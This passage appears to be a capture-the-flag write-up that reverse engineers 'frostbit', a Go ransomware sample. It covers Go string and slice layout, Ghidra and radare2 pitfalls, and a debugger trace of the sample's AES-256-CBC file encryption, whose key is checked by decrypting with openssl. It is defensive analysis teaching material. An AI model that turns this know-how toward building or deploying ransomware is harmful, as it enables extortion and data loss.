RCX
contains the length of the returned nonce string -
RBX
contains the address of the nonce string
The latter two together represent a string composite type. Strings are covered further below.

→ 7.2 Memory layout
Go’s primitive and composite types are represented in memory in a specific way. Two composite types that appear frequently are strings and slices.
→ 7.2.1 Strings
From Golang
Reverse Engineering Tips by Travis Mathison, Go strings are
represented very differently to C strings: “strings are not null
terminated and are instead appended together into larger strings. The
linker places all the strings in order of incremental length and Go will
index into this and specify the string length to parse out the string it
wants”. Static strings can be observed in frostbit.elf
by
sorting the output of strings
by length and printing the
first 500 bytes. The result is a long string comprised of a
concatenation of logically distinct substrings:
└─$ strings -tx -10 frostbit.elf| awk '{ print length, $0 }' | sort -n -r | cut -d" " -f2-|head -c 500
33af31 Error: 'nonce' field is not a valid hex string of length %d %stls: server did not send a quic_transport_parameters extensionx509: certificate is not authorized to sign other certificatesURI with empty host (%q) cannot be matched against constraintshttp2: request header list larger than peer's advertised limittrying to put back buffer of the wrong size in the copyBufPoolfound bad pointer in Go heap (incorrect use of unsafe or cgo?)limiterEvent.stop: found wrong event in p's limiter event
The total length of the first string blob is 6003:
└─$ strings -tx -10 frostbit.elf| awk '{ print length, $0 }' | sort -n -r | cut -d" " -f2-|head -1 |wc -c
6003
The following example from frostbit.elf
demonstrates the
static naughty_nice_list.csv
string being accessed via an
address and a length:
An example of a dynamic string can be observed when stopping
execution in radare2
at 0x006a2987
, just
before main.encryptFile
is called:
[0x006a2987]> pdb
│ ; CODE XREF from sym.main.runit @ 0x6a2935(x)
│ 0x006a2965 b 4889c1 mov rcx, rax
│ 0x006a2968 4889df mov rdi, rbx ; int64_t arg1
│ 0x006a296b 488bb42450.. mov rsi, qword [arg_250h] ; int64_t arg2
│ 0x006a2973 4c8b8424f8.. mov r8, qword [arg_f8h]
│ 0x006a297b 488d052c9d.. lea rax, [0x0072c6ae] ; "naughty_nice_list.csvdecompression failureunsupported extensionX25519Kyber768Draft00invalid NumericStringx509: invalid versionafter top-level valuein string escape codereflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandled Setting: %vnet/http:"
│ 0x006a2982 bb15000000 mov ebx, 0x15 ; rbx
│ ;-- rip:
│ 0x006a2987 b e8d4e3ffff call sym.main.encryptFile
│ 0x006a298c 4885c0 test rax, rax
│ ┌─< 0x006a298f 0f84de000000 je 0x6a2a73
Register R8
contains the length of the encryption
key:
[0x006a2987]> dr r8
0x00000020
Register RSI
is the address of the 32 byte encryption
key, which is notably a hex string instead of binary, the consequences
of which will be discussed later on:
[0x006a2987]> x 0x20 @ rsi
- offset - 6061 6263 6465 6667 6869 6A6B 6C6D 6E6F 0123456789ABCDEF
0xc0000ae060 6261 3463 6430 6534 3531 3662 6130 6434 ba4cd0e4516ba0d4
0xc0000ae070 6631 6430 6636 3361 3037 3936 3466 3931 f1d0f63a07964f91
[0x006a2987]> ps 0x20 @ rsi
ba4cd0e4516ba0d4f1d0f63a07964f91
→ 7.2.2 Slices
The slice type is a dynamically-sized, flexible view into the
elements of an array that has both a length, which is the current size,
and a capacity, which is the maximum size. An example can be observed
when stopping execution in radare2
at
0x006a0fed
, just before
crypto_cipher.NewCBCEncrypter
is called:
[0x006a0fed]> pd-- 10
│ 0x006a0fb2 488d05a73b.. lea rax, [0x006c4b60]
│ 0x006a0fb9 4889cb mov rbx, rcx
│ 0x006a0fbc 0f1f4000 nop dword [rax]
│ 0x006a0fc0 e87bd9dcff call sym.runtime.makeslice
│ 0x006a0fc5 4889842438.. mov qword [var_138h], rax
│ 0x006a0fcd 488b9c2430.. mov rbx, qword [var_130h]
│ 0x006a0fd5 488b8c2448.. mov rcx, qword [var_148h]
│ 0x006a0fdd bf10000000 mov edi, 0x10 ; rdi ; int64_t arg1
│ 0x006a0fe2 4889fe mov rsi, rdi ; int64_t arg2
│ 0x006a0fe5 488b842480.. mov rax, qword [var_80h]
│ ;-- rip:
│ 0x006a0fed b e84e83deff call sym.crypto_cipher.NewCBCEncrypter
│ 0x006a0ff2 488bb42418.. mov rsi, qword [var_118h] ; int64_t arg4
│ 0x006a0ffa 4c8b842420.. mov r8, qword [var_120h] ; int64_t arg_18h
│ 0x006a1002 4c8b8c2428.. mov r9, qword [var_128h] ; int64_t arg_20h
│ 0x006a100a 488b5020 mov rdx, qword [rax + 0x20] ; int64_t arg_8h
│ 0x006a100e 4889d8 mov rax, rbx
│ 0x006a1011 488b9c2438.. mov rbx, qword [var_138h]
│ 0x006a1019 488b4c2478 mov rcx, qword [var_78h]
│ 0x006a101e 4889cf mov rdi, rcx
│ 0x006a1021 ffd2 call rdx
Registers RCX
, RDI
and RSI
collectively represent a slice:
-
Register
RDI
is the length of the slice:[0x006a0fed]> dr rdi 0x00000010
-
Register
RSI
is the capacity of the slice, which in this case is the same as the length::[0x006a0fed]> dr rsi 0x00000010
-
Register
RCX
is the address of a 16 byte IV (initialization vector):[0x006a0fed]> dr rcx 0xc0000a20b0 [0x006a0fed]> x 0x10 @rcx - offset - B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF 0123456789ABCDEF 0xc0000a20b0 9a06 511b ca26 9328 fa31 8f96 40f5 334a ..Q..&.(.1..@.3J
→ 7.3 Deferred functions
Go’s deferred functions allow registering a function that will be
called when the calling function exits. An example can be seen in
main.encryptFile
where
main.encryptFile.deferwrap1
is registered to ensure the
encrypted file is closed before returning;


The disassembled code is littered with numerous blocks to seemingly
support calling of the deferred function before exit by calling
runtime.deferreturn
, albeit I did not dig deeply into these
blocks to confirm their function. Suffice to say these blocks and the
corresponding control flow into their entry point makes static analysis
more difficult and I therefore found debugging particularly invaluable
for confirming control flow.

→ 7.4 Public versus internal API
Go has a publicly documented API which differs from the internal API.
For example, the various strings.Split functions are
ultimately compiled into an internal ABI function called
strings.genSplit
:

Ultimately, this particular example may be an instance of functions
being inlined for optimization purposes, as the strings.go source code
indicates all strings.Split
variants trivially delegate to
strings.genSplit
:
func SplitN(s, sep string, n int) []string { return genSplit(s, sep, 0, n) }
...
func SplitAfterN(s, sep string, n int) []string {
return genSplit(s, sep, len(sep), n)
}
...
func Split(s, sep string) []string { return genSplit(s, sep, 0, -1) }
...
func SplitAfter(s, sep string) []string {
return genSplit(s, sep, len(sep), -1)
}
→ 8 Gotchas
→ 8.1 Ghidra register confusion
Ghidra
’s default configuration will assign labels to
registers. This can result in very confusing disassembly. Registers by
their nature can be used for multiple logical purposes throughout a
block of assembly so assigning a constant label to them typically makes
little sense. For example, in main.runit
,
Ghidra
assigned the label &session
to the
RAX register but the register is referenced as the return value from the
os.Getenv
function call:


Ghidra
was thus configured to disable labeling of
registers via
Edit->Tool Options->Options->Listing Fields->Operands Fields->Markup Register Variable References
:

→ 8.2 Ghidra local/stack variable confusion
Ghidra
sometimes incorrectly labeled stack variables.
For example, the argument registers RCX
, RSI
and RDI
passed to crypto/rsa.EncryptPKCS1v15
were moved into stack variables msg.array
,
msg.cap
and msg.len
such that the registers
seemingly corresponded to a msg
slice:

However, during debugging, it was deduced that the actual arguments were:
-
RCX
: RSA public encryption key -
RDI
,RSI
,R8
: slice containing data to encrypt
For example, with a breakpoint set at 0x006a2ad9
before
crypto/rsa.EncryptPKCS1v15
is called, it was observed that
RDI
contains an AES-256
encryption key and a
server side nonce, separated by a comma. This will be covered in more
detail during the analysis section of this post.
[0x006a2ad9]> pd -11 @ rip +1
│ 0x006a2aa9 488b15e0ca.. mov rdx, qword [obj.crypto_rand.Reader] ; [0x98f590:8]=0x7ad6c0 rdx ; int64_t arg4
│ 0x006a2ab0 4c8b15e1ca.. mov r10, qword [0x0098f598] ; [0x98f598:8]=0xc000034040 r10
│ 0x006a2ab7 4885c0 test rax, rax
│ 0x006a2aba 488d3dbfe8.. lea rdi, obj.runtime.ebss ; obj.internal_godebug.stderr
│ ; 0x9b1380
│ 0x006a2ac1 480f45f8 cmovne rdi, rax ; int64_t arg1
│ 0x006a2ac5 4889d0 mov rax, rdx
│ 0x006a2ac8 488b8c2430.. mov rcx, qword [arg_230h]
│ 0x006a2ad0 4889de mov rsi, rbx ; int64_t arg2
│ 0x006a2ad3 4989f0 mov r8, rsi
│ 0x006a2ad6 4c89d3 mov rbx, r10
│ ;-- rip:
│ 0x006a2ad9 b e8a2ffe5ff call sym.crypto_rsa.EncryptPKCS1v15
; slice length
[0x006a2ad9]> dr rsi
0x00000031
; slice capacity
[0x006a2ad9]> dr r8
0x00000031
; slice data to encrypt
[0x006a2ad9]> ps 0x31 @ rdi
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538
→ 8.3 Function signature confusion
Ghidra
, with the help of DWARF, displayed confusing
function signatures that I was not clear on how to interpret. For
example, the syscall.Environ
function is shown with two
[] string
parameters annotated as Output parameters,
allocated on the stack:
![Ghidra shows the syscall.Environ function taking two [] string parameters allocated on the stack, used as output parameters](screenshots/ghidra-syscall-environ-confusing-signature.jpg)
However, before the function returns, it actually uses registers
RAX
, RBX
and RCX
for its return
values:

This was confirmed when looking at the instructions after the function is called:

In contrast, radare2
shows the same function taking a
single int64_t arg1
argument:
[0x006a2258]> s sym.syscall.Environ
[0x0049b3e0]> pdb
; CODE XREF from sym.syscall.Environ @ 0x49b5c9(x)
; CALL XREF from sym.os.startProcess @ 0x4c1ce7(x)
; CALL XREF from sym.os_exec._Cmd_.environ @ 0x6843b7(x)
; CALL XREF from sym.main.runit @ 0x6a2243(x)
┌ 465: sym.syscall.Environ (int64_t arg1);
│ rg: 1 (vars 0, args 1)
│ bp: 0 (vars 0, args 0)
│ sp: 12 (vars 12, args 0)
│ 0x0049b3e0 4c8d6424d8 lea r12, [rsp - 0x28]
│ 0x0049b3e5 4d3b6610 cmp r12, qword [r14 + 0x10]
│ ┌─< 0x0049b3e9 0f86d5010000 jbe 0x49b5c4
Furthermore, the public syscall.Environ function
has a signature as follows, taking 0 arguments and returning a
[] string
:
func Environ() []string
In the end, I largely ignored the signatures shown by
Ghidra
and radare2
but they are worthy of
future investigation.
→ 8.4 Local variables in abundance
Some functions like main.runit
and
main.getNonce
reference a very large number of local stack
variables, making detailed static analysis more difficult. Debugging in
radare2
proved especially invaluable for understanding key
variables. A custom label was then assigned in Ghidra
.

→ 9 Analysis - core dump
Returning to frostbit_core_dump.14
which was briefly
analyzed during analysis of ransomware_traffic.pcap
, a view
URL was found that was not present in the pcap file. Accessing and
attacking the URL is required to complete the challenge but is largely
out of scope of this reverse engineering writeup.
└─$ strings -10 frostbit_core_dump.14|grep -i api|grep view|sort -u
https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e
Although the core dump proved to be useful for locating relevant strings, it appeared corrupted, as gdb would not recognize it:
└─$ gdb -q --exec=frostbit.elf --core=frostbit_core_dump.14
"REDACTED/frostbit_core_dump.14" is not a core dump: file format not recognized
Furthermore, whilst radare2
recognized the file as a
core dump and parsed it to some extent, the registers were all null,
except for rip
.
└─$ radare2 frostbit_core_dump.14
ERROR: Cannot read more NOTES header from CORE
ERROR: Could not retrieve the names of all maps from NT_FILE
ERROR: Cannot read more NOTES header from CORE
ERROR: Could not retrieve the names of all maps from NT_FILE
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Setting up coredump arch-bits to: x86-64
INFO: Setting up coredump: 58 maps have been found and created
[0x00400000]> dr
rax = 0x00000000
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
rsi = 0x00000000
rdi = 0x00000000
r8 = 0x00000000
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x00000000
r12 = 0x00000000
r13 = 0x00000000
r14 = 0x00000000
r15 = 0x00000000
rip = 0x00400000
rbp = 0x00000000
rflags = 0x00000000
rsp = 0x00000000
Register rip
was set to the virtual address of the first
LOAD segment:
└─$ readelf --wide --segments frostbit_core_dump.14 | grep -A3 'Program Headers'
readelf: Error: Reading 3904 bytes extends past end of file for section headers
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
NOTE 0x65fb1d28 0x0000000000000000 0x0000000000000000 0x00a0c4 0x000000 R 0x1
LOAD 0x000d28 0x0000000000400000 0x0000000000000000 0x2a5000 0x2a5000 R E 0x1
→ 10 Analysis - frostbit.elf
→ 10.1 Examining file command output in detail
The file
command was previously run but not examined in
detail:
└─$ file frostbit.elf
frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped
The output indicates the following:
-
ELF 64-bit
andx86-64
indicate a Linux ELF x86-64 executable. -
The absence of
PIE
indicates the code is not relocatable. This should mean addresses observed during static analysis will correspond to addresses observed during debugging. This can also be confirmed viachecksec
:└─$ checksec --file=frostbit.elf --format=json|jq '."frostbit.elf"' |grep pie "pie": "no",
-
Go BuildID
indicates a Go binary. -
with debug_info
andnot stripped
indicates debug information and symbols are preserved in the binary, which make disassembling and debugging significantly easier. -
dynamically linked
indicates the binary is linked with shared libraries.
The last point is interesting because Go applications have a reputation of being statically linked. Examining the linked libraries indicates the shared libraries are minimal, comprised solely of the core c library:
└─$ objdump -p frostbit.elf | grep NEEDED
NEEDED libc.so.6
Incidentally, objdump
was used instead of
ldd
as it is safer for untrusted executables, as documented
by the ldd
man page. However, for completeness and since
frostbit.elf
should be safe and analysis was conducted in a
VM, ldd
was also executed, illustrating the only other
dependencies are the loader, /lib64/ld-linux-x86-64.so.2
and linux-vdso.so.1
, the latter of which is mapped into the
address space of all user-space applications:
└─$ ldd frostbit.elf
linux-vdso.so.1 (0x00007f52c3440000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f52c322a000)
/lib64/ld-linux-x86-64.so.2 (0x00007f52c3442000)
In contrast, all Go libraries are statically linked. For example, the
binary contains the code from Go’s cipher.go
:
└─$ go tool objdump frostbit.elf|grep -A10 -i 'newcipher' | head -10
TEXT crypto/aes.NewCipher(SB) /usr/local/go/src/crypto/aes/cipher.go
cipher.go:34 0x497580 493b6610 CMPQ SP, 0x10(R14)
cipher.go:34 0x497584 7647 JBE 0x4975cd
cipher.go:34 0x497586 55 PUSHQ BP
cipher.go:34 0x497587 4889e5 MOVQ SP, BP
cipher.go:34 0x49758a 4883ec18 SUBQ $0x18, SP
cipher.go:34 0x49758e 4889442428 MOVQ AX, 0x28(SP)
cipher.go:39 0x497593 4883fb10 CMPQ BX, $0x10
cipher.go:39 0x497597 740d JE 0x4975a6
cipher.go:39 0x497599 4883fb18 CMPQ BX, $0x18
Another aspect is the Go compiler will sometimes inline code,
presumably for optimization purposes. Below we can see the user defined
main.main
function contains code from Go’s
error.go
. This complicates static analysis because there is
no indication in the disassembly itself that the code is inlined. When
reverse engineering for the purposes of comprehension, code from the
standard Go libraries that is inlined typically has less significance
than custom code.
└─$ go tool objdump frostbit.elf|grep -A25 -i 'main.main' | head -25
TEXT main.main(SB) REDACTED/frostbit.go
frostbit.go:468 0x6a3c60 493b6610 CMPQ SP, 0x10(R14)
frostbit.go:468 0x6a3c64 0f86fc000000 JBE 0x6a3d66
frostbit.go:468 0x6a3c6a 55 PUSHQ BP
frostbit.go:468 0x6a3c6b 4889e5 MOVQ SP, BP
frostbit.go:468 0x6a3c6e 4883ec48 SUBQ $0x48, SP
frostbit.go:469 0x6a3c72 e8a9e5ffff CALL main.runit(SB)
frostbit.go:469 0x6a3c77 84c0 TESTL AL, AL
frostbit.go:469 0x6a3c79 0f84c9000000 JE 0x6a3d48
frostbit.go:469 0x6a3c7f 90 NOPL
frostbit.go:470 0x6a3c80 e8bb4bd7ff CALL runtime.GC(SB)
frostbit.go:472 0x6a3c85 488d051a370800 LEAQ 0x8371a(IP), AX
frostbit.go:472 0x6a3c8c bb06000000 MOVL $0x6, BX
frostbit.go:472 0x6a3c91 e86a1be2ff CALL os.Stat(SB)
error.go:91 0x6a3c96 488b05d3b92e00 MOVQ os.ErrNotExist(SB), AX
error.go:91 0x6a3c9d 488b15d4b92e00 MOVQ os.ErrNotExist+8(SB), DX
error.go:91 0x6a3ca4 4889fb MOVQ DI, BX
error.go:91 0x6a3ca7 4889d7 MOVQ DX, DI
error.go:91 0x6a3caa 4889c2 MOVQ AX, DX
error.go:91 0x6a3cad 4889c8 MOVQ CX, AX
error.go:91 0x6a3cb0 4889d1 MOVQ DX, CX
error.go:91 0x6a3cb3 e8e8d8e1ff CALL os.underlyingErrorIs(SB)
error.go:91 0x6a3cb8 84c0 TESTL AL, AL
frostbit.go:472 0x6a3cba 757d JNE 0x6a3d39
frostbit.go:474 0x6a3cbc 48833d04bc2e0000 CMPQ os.Args+8(SB), $0x0
Static linking is also why Go binaries tend to be significantly larger than dynamically linked C binaries:
-rwxrwxrwx 1 REDACTED REDACTED 8.2M Dec 26 00:02 frostbit.elf
→ 10.2 Entry point identification
Executable Go
programs typically start with the
main
function in the main
package, which in
this case simply delegates to main.runit
:

However, the actual entry point of the executable is
0x475d80
:
└─$ readelf -h frostbit.elf|grep -i entry
Entry point address: 0x475d80

There is a significant number of instructions implementing the Go
runtime - not shown here - before main.main
is finally
called:

It should also be noted that Go supports one or more
init
functions that can run before main.main
.
However, the binary contains no such functions:
[0x006a2987]> afl|grep main.init
→ 10.3 AES-256-CBC Encryption
naughty_nice_list.csv
is encrypted using AES-256, albeit
the 32 byte key actually only has 16 bytes of entropy. The process is as
follows.
main.runit
calls main.generateKey
:

Within main.generateKey
, a 16 byte key is securely
generated by calling crypto/rand.Read
:

The value of the key can be confirmed by setting a breakpoint at
0x006a0c78
in radare2
:
[0x006a0c78]> pdb
│ 0x006a0c4a 55 push rbp
│ 0x006a0c4b 4889e5 mov rbp, rsp
│ 0x006a0c4e 4883ec20 sub rsp, 0x20
│ 0x006a0c52 488d05073f.. lea rax, [0x006c4b60]
│ 0x006a0c59 bb10000000 mov ebx, 0x10 ; r8
│ 0x006a0c5e 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a0c61 e8dadcdcff call sym.runtime.makeslice
│ 0x006a0c66 4889442418 mov qword [var_18h], rax
│ 0x006a0c6b bb10000000 mov ebx, 0x10 ; r8
│ 0x006a0c70 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a0c73 e868d0e5ff call sym.crypto_rand.Read
│ ;-- rip:
│ 0x006a0c78 b 4885db test rbx, rbx
│ ┌─< 0x006a0c7b 7521 jne 0x6a0c9e
The 16 byte encryption key is returned on the stack:
[0x006a0c78]> afvd var_18h
pf q @ rsp+0x18
[0x006a0c78]> pf q @ rsp+0x18
0xc0001438f0 = (qword)0x000000c0000a2090
[0x006a0c78]> x 16 @ 0x000000c0000a2090
- offset - 9091 9293 9495 9697 9899 9A9B 9C9D 9E9F 0123456789ABCDEF
0xc0000a2090 ba4c d0e4 516b a0d4 f1d0 f63a 0796 4f91 .L..Qk.....:..O.
Later in main.runit
, a call to
main.encryptFile
is made to encrypt
naughty_nice_list.csv
into
naughty_nice_list.csv.frostbit
:

Debugging in radare2
confirmed the encryption key passed
to main.encryptFile
matched the 16 bytes generated by
main.generateKey
but converted to a 32 byte ASCII hex
representation. Therefore, although the key is 32 bytes long, it only
has 16 bytes of entropy.
[0x006a2987]> pdb
│ ; CODE XREF from sym.main.runit @ 0x6a2935(x)
│ 0x006a2965 4889c1 mov rcx, rax
│ 0x006a2968 4889df mov rdi, rbx ; int64_t arg1
│ 0x006a296b 488bb42450.. mov rsi, qword [arg_250h] ; int64_t arg2
│ 0x006a2973 4c8b8424f8.. mov r8, qword [arg_f8h]
│ 0x006a297b 488d052c9d.. lea rax, [0x0072c6ae] ; "naughty_nice_list.csvdecompression failureunsupported extensionX25519Kyber768Draft00invalid NumericStringx509: invalid versionafter top-level valuein string escape codereflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandled Setting: %vnet/http:"
│ 0x006a2982 bb15000000 mov ebx, 0x15 ; rbx
│ ;-- rip:
│ 0x006a2987 b e8d4e3ffff call sym.main.encryptFile
│ 0x006a298c 4885c0 test rax, rax
│ ┌─< 0x006a298f 0f84de000000 je 0x6a2a73
; "naughty_nice_list.csv" length
[0x006a2987]> dr rbx
0x00000015
; "naughty_nice_list.csv"
[0x006a2987]> ps 0x15 @ rax
naughty_nice_list.csv
; "naughty_nice_list.csv.frostbit" length
[0x006a2987]> dr rdi
0x0000001e
; "naughty_nice_list.csv.frostbit"
[0x006a2987]> ps 0x1e @ rcx
naughty_nice_list.csv.frostbit
; encryption key length
[0x006a2987]> dr r8
0x00000020
; encryption key address
[0x006a2987]> dr rsi
0xc0000ae060
; encryption key is actually ASCII hex, not the original raw 16 bytes
[0x006a2987]> x 0x20 @ 0xc0000ae060
- offset - 6061 6263 6465 6667 6869 6A6B 6C6D 6E6F 0123456789ABCDEF
0xc0000ae060 6261 3463 6430 6534 3531 3662 6130 6434 ba4cd0e4516ba0d4
0xc0000ae070 6631 6430 6636 3361 3037 3936 3466 3931 f1d0f63a07964f91
[0x006a2987]> ps 0x20 @ 0xc0000ae060
ba4cd0e4516ba0d4f1d0f63a07964f91
Within main.encryptFile
, a 16 byte IV (Initialization
Vector) is generated by another call to
crypto/rand.Read
:

The IV was viewed during debugging:
[0x006a0e91]> pdb
│ 0x006a0e68 488d05f13c.. lea rax, [0x006c4b60]
│ 0x006a0e6f bb10000000 mov ebx, 0x10 ; r8
│ 0x006a0e74 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a0e77 e8c4dadcff call sym.runtime.makeslice
│ 0x006a0e7c 4889842448.. mov qword [var_148h], rax
│ 0x006a0e84 bb10000000 mov ebx, 0x10 ; r8
│ 0x006a0e89 4889d9 mov rcx, rbx ; int64_t arg_18h
│ 0x006a0e8c e84fcee5ff call sym.crypto_rand.Read
│ ;-- rip:
│ 0x006a0e91 b 4885db test rbx, rbx
│ ┌─< 0x006a0e94 0f8564030000 jne 0x6a11fe
[0x006a0e91]> afvd var_148h
pf q @ rsp+0x148
[0x006a0e91]> pf q @ rsp+0x148
0xc0001438c0 = (qword)0x000000c0000a20b0
; 16 byte IV
[0x006a0e91]> x 0x10 @ 0x000000c0000a20b0
- offset - B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF 0123456789ABCDEF
0xc0000a20b0 9a06 511b ca26 9328 fa31 8f96 40f5 334a ..Q..&.(.1..@.3J
crypto/aes.NewCipher
is subsequently called to create a
cipher.Block
. Since the ASCII hex key is 32 bytes long,
AES-256 is being used:

The 32 byte ASCII hex key was confirmed to be passed to
crypto/aes.NewCipher
in radare2
:
[0x006a0eac]> pdb
│ 0x006a0e9a 488b842410.. mov rax, qword [var_110h]
│ 0x006a0ea2 488b5c2468 mov rbx, qword [var_68h]
│ 0x006a0ea7 488b4c2470 mov rcx, qword [var_70h] ; int64_t arg_18h
│ ;-- rip:
│ 0x006a0eac b e8cf66dfff call sym.crypto_aes.NewCipher
│ 0x006a0eb1 4885c9 test rcx, rcx
│ ┌─< 0x006a0eb4 0f8513030000 jne 0x6a11cd
; encryption key slice length
[0x006a0eac]> dr rbx
0x00000020
; encryption key slice capacity
[0x006a0eac]> dr rcx
0x00000020
; encryption key
[0x006a0eac]> dr rax
0xc0001437b7
[0x006a0eac]> x 0x20 @ rax
- offset - B7B8 B9BA BBBC BDBE BFC0 C1C2 C3C4 C5C6 789ABCDEF0123456
0xc0001437b7 6261 3463 6430 6534 3531 3662 6130 6434 ba4cd0e4516ba0d4
0xc0001437c7 6631 6430 6636 3361 3037 3936 3466 3931 f1d0f63a07964f91
[0x006a0eac]> ps 0x20 @ rax
ba4cd0e4516ba0d4f1d0f63a07964f91
The IV slice is later passed to
crypto/cipher.NewCBCEncrypter
in registers
RCX
, RDI
and RSI
. The use of
NewCBCEncrypter
tells us that the CBC encryption mode is
being used. In other words, naughty_nice_list.csv
is being
encrypted using AES-256-CBC.
The 16 byte IV was confirmed to be passed to
crypto/cipher.NewCBCEncrypter
in radare2
:
[0x006a0fed]> pd -7 @ rip +1
│ 0x006a0fc5 4889842438.. mov qword [var_138h], rax
│ 0x006a0fcd 488b9c2430.. mov rbx, qword [var_130h]
│ 0x006a0fd5 488b8c2448.. mov rcx, qword [var_148h]
│ 0x006a0fdd bf10000000 mov edi, 0x10 ; rsi ; int64_t arg1
│ 0x006a0fe2 4889fe mov rsi, rdi ; int64_t arg2
│ 0x006a0fe5 488b842480.. mov rax, qword [var_80h]
│ ;-- rip:
│ 0x006a0fed b e84e83deff call sym.crypto_cipher.NewCBCEncrypter
; IV length
[0x006a0fed]> dr rdi
0x00000010
; IV slice capacity
[0x006a0fed]> dr rsi
0x00000010
; IV bytes: generated by previous call sym.crypto_rand.Read
[0x006a0fed]> dr rcx
0xc0000a20b0
[0x006a0fed]> x 0x10 @ rcx
- offset - B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF 0123456789ABCDEF
0xc0000a20b0 9a06 511b ca26 9328 fa31 8f96 40f5 334a ..Q..&.(.1..@.3J
The IV and encrypted data are written to
naughty_nice_list.csv.frostbit
, with the latter write
occurring at 0x006a10d5
:
[0x006a10d5]> pdb
│ 0x006a10b8 488b8424f0.. mov rax, qword [var_f0h]
│ 0x006a10c0 488b9c2438.. mov rbx, qword [var_138h]
│ 0x006a10c8 488b4c2478 mov rcx, qword [var_78h] ; int64_t arg_10h
│ 0x006a10cd 4889cf mov rdi, rcx ; int64_t arg1
│ 0x006a10d0 e80b1be2ff call sym.os._File_.Write
│ ;-- rip:
│ 0x006a10d5 b 4885db test rbx, rbx
│ ┌─< 0x006a10d8 754b jne 0x6a1125
At this point, naughty_nice_list.cvs.frostbit
was
examined, confirming the first 16 bytes are the IV:
└─$ xxd naughty_nice_list.csv.frostbit
00000000: 9a06 511b ca26 9328 fa31 8f96 40f5 334a ..Q..&.(.1..@.3J
00000010: 0d92 0f3a 39dd 5c85 b02d 0b5d 8ec5 336b ...:9.\..-.]..3k
00000020: 2063 d367 0364 cbc7 aaf5 3660 1f85 b24e c.g.d....6`...N
→ 10.4 AES-256-CBC - Confirming using openssl
openssl
was used to confirm
naughty_nice_list.csv.frostbit
was encrypted using
AES-256-CBC by decrypting the file using the observed encryption
key:
-
Using the IV observed during debugging
└─$ openssl enc -d -aes-256-cbc -K "$(echo -n ba4cd0e4516ba0d4f1d0f63a07964f91|xxd -p -c0)" -iv "$(echo -n '9a06 511b ca26 9328 fa31 8f96 40f5 334a'|tr -d ' ')" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out decrypt-maybe.csv └─$ cat decrypt-maybe.csv AAAAAAAAAAAAAAAA └─$ cmp decrypt-maybe.csv naughty_nice_list.csv
-
Using the IV stripped from the first 16 bytes of
naughty_nice_list.csv.frostbit
:└─$ openssl enc -d -aes-256-cbc -K "$(echo -n ba4cd0e4516ba0d4f1d0f63a07964f91|xxd -p -c0)" -iv "$(head -c16 naughty_nice_list.csv.frostbit|xxd -p)" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out decrypt-maybe.csv └─$ cat decrypt-maybe.csv AAAAAAAAAAAAAAAA └─$ cmp decrypt-maybe.csv naughty_nice_list.csv
→ 10.5 AES-256-CBC - Confirming the core dump does not contain the key
Since the encryption key is actually a 32 byte, lowercase ASCII hex
key instead of raw bytes, the core dump can be searched for potential
encryption keys using a regex. rafind2
was used to perform
the search:
└─$ rafind2 -e '/[a-f0-9]{32}/' -Z frostbit_core_dump.14 > frostbit_core_dump_32_hex_chars_strings.rafind2
A bash script, check_aeskey_candidates.sh
, was written
to filter the results further, omitting any results that were a
substring of frostbit-tls.keylog
,
encrypted-key-from-pcap.json
or
DoNotAlterOrDeleteMe.frostbit.json
:
└─$ cat check_aeskey_candidates.sh
#/bin/bash
cat frostbit_core_dump_32_hex_chars_strings.rafind2 | while read result ; do
key_candidate=$(echo "$result" | cut -d " " -f 2)
if grep "$key_candidate" frostbit-tls.keylog encrypted-key-from-pcap.json DoNotAlterOrDeleteMe.frostbit.json > /dev/null ; then
:
else
echo "Potential key: $result"
fi
done
The script was run and the remaining candidates written to
remaining_aeskey_candidates.txt
:
└─$ bash check_aeskey_candidates.sh|tee remaining_aeskey_candidates.txt
Potential key: 0x2ab1f1 0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@
Potential key: 0x3301a0 dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3301c0 eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3301e0 306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c09b9 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728'
Potential key: 0x3c09d9 9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728'
Potential key: 0x3c09f9 451960007c2ec7be371a007f43662728'
Potential key: 0x3c0aa3 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x3c0e35 64b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':'
Potential key: 0x3c0e55 9a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
